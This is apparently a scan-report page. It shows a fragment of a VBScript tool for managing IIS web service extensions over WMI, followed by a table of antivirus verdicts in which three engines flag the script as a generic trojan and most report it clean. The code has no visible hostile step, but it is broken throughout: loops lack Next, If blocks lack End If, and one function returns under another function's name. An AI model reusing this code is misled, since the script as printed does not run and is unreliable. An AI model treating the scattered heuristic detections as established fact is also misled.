WScript.Echo GetLocalizedResource("L_Admin_ErrorMessage")

WScript.Echo GetLocalizedResource("L_Adminp2_ErrorMessage")

Case Else

WScript.Echo GetLocalizedResource("L_GetWebSvcObj_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

End Select

RmEfi = Err.Number

Exit Function

End If

Set extObj = oScriptHelper.ProviderObj.get("IIsWebServiceSetting='w3svc'")

restrictions = extObj.WebSvcExtRestrictionList

For i=0 to UBOUND(restrictions)

If UCASE(restrictions(i).FilePath) = UCASE(strAppName) Then

If restrictions(i).Deletable = 1 Then

WebSvcObj.DeleteExtensionFileRecord strAppName

bDel = True

End If

If Err.Number Then

WScript.Echo GetLocalizedResource("L_EnApp_ErrorMessage")

WScript.Echo Err.Description

RmEfi = Err.Number

Exit Function

End If

If bDel = False Then

WScript.Echo GetLocalizedResource("L_RmEfi_ErrorMessage")

WScript.Echo GetLocalizedResource("L_RmEfip2_ErrorMessage")

RmEfi = 1

End If

End Function

Function ChDep(aArgs, intOperation)

Dim WebSvcObj, i

On Error Resume Next

oScriptHelper.WMIConnect

If Err.Number Then

WScript.Echo GetLocalizedResource("L_WMIConnect_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

ChDep = Err.Number

Exit Function

End If

Set WebSvcObj = oScriptHelper.ProviderObj.get("IIsWebService='w3svc'")

If Err.Number Then

Select Case Err.Number

Case &H80070005

WScript.Echo GetLocalizedResource("L_Admin_ErrorMessage")

WScript.Echo GetLocalizedResource("L_Adminp2_ErrorMessage")

Case Else

WScript.Echo GetLocalizedResource("L_GetWebSvcObj_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

End Select

ChDep = Err.Number

Exit Function

End If

If OPER_ADEFI = intOperation Then

If ((aArgs(1) <> 0) And (aArgs(1) <> 1)) Then

aArgs(1) = 0

End If

WebSvcObj.AddExtensionFile aArgs(0), aArgs(1), aArgs(2), aArgs(3), aArgs(4)

Else

If UBOUND(aArgs) < 1 Then

WScript.Echo GetLocalizedResource("L_NotEnoughParams_ErrorMessage")

WScript.Echo GetLocalizedResource("L_SeeHelp_Message")

ChDep = ERR_GENERAL_FAILURE

Exit Function

End If

For i=1 to UBOUND(aArgs)

Select Case intOperation

Case OPER_ADDDP

WebSvcObj.AddDependency aArgs(0), aArgs(i)

Case OPER_REMDP

WebSvcObj.RemoveDependency aArgs(0), aArgs(i)

End Select

If Err.Number Then

WScript.Echo GetLocalizedResource("L_EnDep_ErrorMessage")

WScript.Echo Err.Description

WScript.Echo GetLocalizedResource("L_NoDep_ErrorMessage")

WScript.Echo GetLocalizedResource("L_NoDepp2_ErrorMessage")

ChDep = Err.Number

Exit Function

End If

If Err.Number Then

WScript.Echo GetLocalizedResource("L_EnApp_ErrorMessage")

WScript.Echo Err.Description

ChDep = Err.Number

Exit Function

End If

End Function

Function DsExt(aArgs)

Dim WebSvcObj, i

On Error Resume Next

oScriptHelper.WMIConnect

If Err.Number Then

WScript.Echo GetLocalizedResource("L_WMIConnect_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

DsExt = Err.Number

Exit Function

End If

Set WebSvcObj = oScriptHelper.ProviderObj.get("IIsWebService='w3svc'")

If Err.Number Then

Select Case Err.Number

Case &H80070005

WScript.Echo GetLocalizedResource("L_Admin_ErrorMessage")

WScript.Echo GetLocalizedResource("L_Adminp2_ErrorMessage")

Case Else

WScript.Echo GetLocalizedResource("L_GetWebSvcObj_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

End Select

DsExt = Err.Number

Exit Function

End If

For i=0 to UBOUND(aArgs)

WebSvcObj.DisableWebServiceExtension aArgs(i)

If Err.Number Then

WScript.Echo GetLocalizedResource("L_EnApp_ErrorMessage")

WScript.Echo Err.Description

WScript.Echo GetLocalizedResource("L_NoExt_ErrorMessage")

DsExt = Err.Number

Exit Function

End If

End Function

Function ShowList(intOperation)

Dim WebSvcObj, holder, i, mylist

On Error Resume Next

oScriptHelper.WMIConnect

If Err.Number Then

WScript.Echo GetLocalizedResource("L_WMIConnect_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

ShowList = Err.Number

Exit Function

End If

Set WebSvcObj = oScriptHelper.ProviderObj.get("IIsWebService='w3svc'")

If Err.Number Then

Select Case Err.Number

Case &H80070005

WScript.Echo GetLocalizedResource("L_Admin_ErrorMessage")

WScript.Echo GetLocalizedResource("L_Adminp2_ErrorMessage")

Case Else

WScript.Echo GetLocalizedResource("L_GetWebSvcObj_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

End Select

ShowList = Err.Number

Exit Function

End If

Select Case intOperation

Case OPER_LSAPP

set holder=oScriptHelper.ProviderObj.execmethod("IIsWebService='w3svc'", "ListApplications")

mylist = holder.Applications

Case OPER_LSEXT

set holder=oScriptHelper.ProviderObj.execmethod("IIsWebService='w3svc'", "ListWebServiceExtensions")

mylist = holder.Extensions

End Select

If Err.Number Then

WScript.Echo GetLocalizedResource("L_ShowList_ErrorMessage")

WScript.Echo GetLocalizedResource("L_ShowList2_ErrorMessage")

WScript.Echo GetLocalizedResource("L_ShowList3_ErrorMessage")

WScript.Echo Err.Description

ShowList = Err.Number

Exit Function

End If

For i = 0 to UBOUND(mylist)

WScript.Echo mylist(i)

End Function

Function ShowListFile()

Dim WebSvcObj, fileList, i

On Error Resume Next

oScriptHelper.WMIConnect

If Err.Number Then

WScript.Echo GetLocalizedResource("L_WMIConnect_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

ShowList = Err.Number

Exit Function

End If

Set WebSvcObj = oScriptHelper.ProviderObj.get("IIsWebServiceSetting='w3svc'")

If Err.Number Then

Select Case Err.Number

Case &H80070005

WScript.Echo GetLocalizedResource("L_Admin_ErrorMessage")

WScript.Echo GetLocalizedResource("L_Adminp2_ErrorMessage")

Case Else

WScript.Echo GetLocalizedResource("L_GetWebSvcObj_ErrorMessage")

oScriptHelper.vbPrintf GetLocalizedResource("L_Error_ErrorMessage"), Array(Hex(Err.Number), Err.Description)

End Select

ShowList = Err.Number

Exit Function

End If

fileList = WebSvcObj.WebSvcExtRestrictionList

If Err.Number Then

WScript.Echo GetLocalizedResource("L_ShowList_ErrorMessage")

WScript.Echo GetLocalizedResource("L_ShowList2_ErrorMessage")

WScript.Echo GetLocalizedResource("L_ShowList3_ErrorMessage")

WScript.Echo Err.Description

ShowList = Err.Number

Exit Function

End If

WScript.Echo GetLocalizedResource("L_Empty_Text")

WScript.Echo GetLocalizedResource("L_ShowListFile_Message")

WScript.Echo GetLocalizedResource("L_ShowListFile2_Message")

For i = 0 to UBOUND(fileList)

WScript.Echo fileList(i).Access & " " & fileList(i).FilePath

End Function

Antivirus	Signature
Bkav	Clean
Lionic	Clean
DrWeb	Clean
ClamAV	Clean
CMC	Clean
CAT-QuickHeal	Clean
Skyhigh	Clean
McAfee	Clean
Malwarebytes	Clean
VIPRE	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
BitDefenderTheta	Clean
VirIT	Clean
Symantec	Clean
ESET-NOD32	Clean
TrendMicro-HouseCall	Clean
Avast	Script:SNH-gen [Trj]
Cynet	Clean
Kaspersky	HEUR:Trojan.VBS.SAgent.gen
BitDefender	Clean
NANO-Antivirus	Clean
SUPERAntiSpyware	Clean
MicroWorld-eScan	Clean
Tencent	Clean
Emsisoft	Clean
F-Secure	Clean
Baidu	Clean
Zillya	Clean
TrendMicro	Clean
FireEye	Clean
Sophos	Clean
Ikarus	Clean
Jiangmin	Clean
Varist	Clean
Avira	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Microsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Arcabit	Clean
ViRobot	Clean
ZoneAlarm	Clean
GData	Clean
Google	Clean
AhnLab-V3	Clean
Acronis	Clean
VBA32	Clean
ALYac	Clean
MAX	Clean
Zoner	Clean
Rising	Clean
Yandex	Clean
TACHYON	Clean
MaxSecure	Clean
Fortinet	Clean
AVG	Script:SNH-gen [Trj]
Panda	Clean